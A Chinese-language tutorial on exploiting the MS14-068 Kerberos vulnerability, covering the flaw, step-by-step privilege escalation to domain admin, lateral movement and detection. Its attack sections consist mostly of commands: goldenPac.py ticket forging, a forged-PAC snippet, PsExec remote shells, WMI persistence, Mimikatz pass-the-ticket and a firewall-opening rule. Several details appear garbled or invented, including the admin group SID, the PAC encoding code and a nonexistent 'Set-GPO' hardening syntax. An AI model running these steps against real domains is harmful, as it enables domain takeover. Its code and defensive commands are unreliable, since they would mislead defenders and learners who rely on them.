MS14-068漏洞解析：Kerberos协议权限提升攻防实战

1. MS14-068漏洞背景与影响范围

MS14-068是微软于2014年11月修复的Kerberos协议关键漏洞（CVE-2014-6324），该漏洞允许普通域用户通过伪造特权票据（TGT）提升至域管理员权限。其危害性主要体现在三个维度：

1. 权限提升维度：攻击者只需拥有任意域用户凭据，即可通过构造特殊票据获得域控最高权限
2. 横向移动维度：结合PsExec等工具可快速在域内扩散控制权
3. 持久化维度：生成的黄金票据可绕过常规权限审计

根据微软官方通报，该漏洞影响包括：

• Windows Server 2003/2008/2008 R2/2012/2012 R2
• Windows 7/8/8.1等客户端系统
• 所有启用Kerberos认证的Active Directory环境

注意：即使系统已安装KB3011780补丁，若域控未正确配置PAC验证策略，仍可能遭受变种攻击。

2. Kerberos协议与漏洞原理详解

2.1 Kerberos认证基础流程

标准Kerberos认证包含三个核心阶段：

1. AS-REQ/AS-REP：客户端向KDC（密钥分发中心）请求TGT（票证授予票证）
2. TGS-REQ/TGS-REP：使用TGT申请访问具体服务的ST（服务票证）
3. AP-REQ/AP-REP：向目标服务出示ST完成认证

关键数据结构PAC（特权属性证书）包含用户的SID、组成员等权限信息，由KDC签名后嵌入票据。

2.2 漏洞成因分析

漏洞本质在于微软对PAC验证的逻辑缺陷：

1. 签名绕过：攻击者可构造自签名PAC，利用KDC未严格校验签名来源的缺陷
2. 权限篡改：在PAC中注入域管理员组SID（如S-1-5-32-544）
3. 票据重放：KDC错误地将伪造票据视为合法更新请求

# PAC结构关键字段示例 class PAC_INFO_BUFFER: ulType: 0x00000001 # 登录信息类型 cbBufferSize: len(data) Offset: 0x00000000 class PAC_LOGON_INFO: UserSid: "S-1-5-21-<domain>-1103" GroupSid: ["S-1-5-32-544"] # 注入管理员组

3. 漏洞利用实战步骤

3.1 环境准备要求

• 测试环境：

  • 域控制器：Windows Server 2008 R2（未打补丁）
  • 客户端：Kali Linux 2023.1
  • 工具集：Impacket、Mimikatz、PowerSploit

• 基础信息收集：

nslookup -type=SRV _kerberos._tcp.<domain> ldapsearch -h <DC_IP> -x -b "dc=<domain>,dc=com"

3.2 票据构造过程

1. 获取用户凭证：

   python3 GetUserSPNs.py -request -dc-ip <DC_IP> <domain>/user:password

2. 生成恶意PAC：

   from pyasn1.codec.der import encoder forged_pac = encoder.encode({ 'pvno': 5, 'msg-type': krb5_asn1.ApplicationTagNumbers.AS_REP.value, 'padata': [{ 'padata-type': 128, # PAC_TYPE 'padata-value': forged_pac_data }] })

3. 构造TGT请求：

   python3 goldenPac.py -target-ip <DC_IP> <domain>/user:password

3.3 横向移动技术实现

1. PsExec远程执行：

   .\PsExec.exe -accepteula \\<target> -s cmd.exe

2. WMI持久化：

   $filterArgs = @{ EventNamespace = 'root\cimv2' Name = 'PersistenceFilter' Query = "SELECT * FROM __InstanceModificationEvent WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" QueryLanguage = 'WQL' }

4. 防御与检测方案

4.1 企业级防护措施

• 补丁管理：

  系统版本	补丁KB号	发布日期
  Win2008R2	KB3011780	2014-11-18
  Win2012R2	KB3011780	2014-11-18

• 组策略加固：

  Set-ADDefaultDomainPasswordPolicy -Identity <domain> -MinPasswordAge 1 Set-GPO -Name "Kerberos Hardening" -Set @{ "KDC\ValidateKdcPacSignature"=1 "KDC\TicketValidateClient"=1 }

4.2 攻击痕迹检测

1. 日志分析特征：

   • 4769事件中的"Ticket Options"出现0x40810000
   • 4624登录事件伴随非常规SID请求

2. 网络流量检测：

   kerberos.msg_type == 12 && kerberos.padata_type == 128 && frame.len > 1500

5. 实战中的经验技巧

1. 票据缓存处理：

   kerberos::purge # 清除现有票据 kerberos::ptt admin@krbtgt~<domain>.kirbi

2. 时间同步问题：

   ntpdate <DC_IP> # 必须保持5分钟内时间差

3. 防火墙绕过：

   Test-NetConnection <DC_IP> -Port 88 netsh advfirewall firewall add rule name="Kerberos" dir=in action=allow protocol=TCP localport=88

在真实攻防演练中，曾遇到某企业域控虽然打了补丁但未重启，导致防御策略未生效的情况。通过结合LDAP查询确认补丁状态后，最终利用时间差完成突破。这提醒我们补丁安装后必须验证服务重启状态。